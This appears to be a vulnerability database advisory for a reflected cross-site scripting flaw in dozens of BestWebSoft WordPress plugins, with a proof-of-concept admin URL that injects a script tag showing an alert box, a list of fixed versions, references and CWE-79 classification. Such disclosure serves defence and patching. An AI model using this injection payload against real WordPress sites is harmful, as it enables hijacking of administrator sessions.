Multiple BestWebSoft Plugins - Authenticated Reflected GET Cross-Site Scripting (XSS)



Proof of Concept
http://www.example.com/wp-admin/admin.php?page=bws_panel&category=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%2842%29%3C%2Fscript%3E

Affects Plugins

fixed in version 1.44
fixed in version 1.0.1
fixed in version 1.7.1
fixed in version 1.3.6
fixed in version 0.3
fixed in version 1.0.5
fixed in version 1.0.5
fixed in version 1.0.5
fixed in version 1.1.0
fixed in version 0.1.9
fixed in version 4.3.0
fixed in version 1.0.5
fixed in version 1.2.1
fixed in version 4.0.6
fixed in version 1.5.7
fixed in version 0.1.2
fixed in version 1.3.2
fixed in version 1.36
fixed in version 2.1.1
fixed in version 1.1.2
fixed in version 1.0.6
fixed in version 2.54
fixed in version 1.0.9
fixed in version 4.5.0
fixed in version 1.28
fixed in version 1.3.4
fixed in version 1.5.3
fixed in version 3.0.8
fixed in version 1.7.6
fixed in version 1.1.4
fixed in version 1.1.8
fixed in version 1.2.3
fixed in version 1.0.7
fixed in version 1.9.4
fixed in version 2.40
fixed in version 1.3.1
fixed in version 1.0.7
fixed in version 1.1.1
fixed in version 1.32
fixed in version 0.2
fixed in version 1.0.9
fixed in version 1.1.0
fixed in version 1.2.0
fixed in version 1.2.1
fixed in version 1.1.1
fixed in version 0.2
fixed in version 1.3.5
fixed in version 0.1.5
fixed in version 2.55
fixed in version 1.35
fixed in version 1.5.6
fixed in version 1.0.0
fixed in version 1.0.5

References

URL http://www.defensecode.com/advisories/DC-2017-02-014_50_WordPress_plugins_by_BestWebSoft_Advisory.pdf
URL http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2017-April/010860.html

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter ethicalhack3r
Submitter Website https://dewhurstsecurity.com/
Submitter Twitter ethicalhack3r
Views 6647
Verified Yes
WPVDB ID 8796

Timeline

Publicly Published 2017-04-12 (over 2 years ago)
Added 2017-04-13 (over 2 years ago)
Last Updated 2018-08-29 (11 months ago)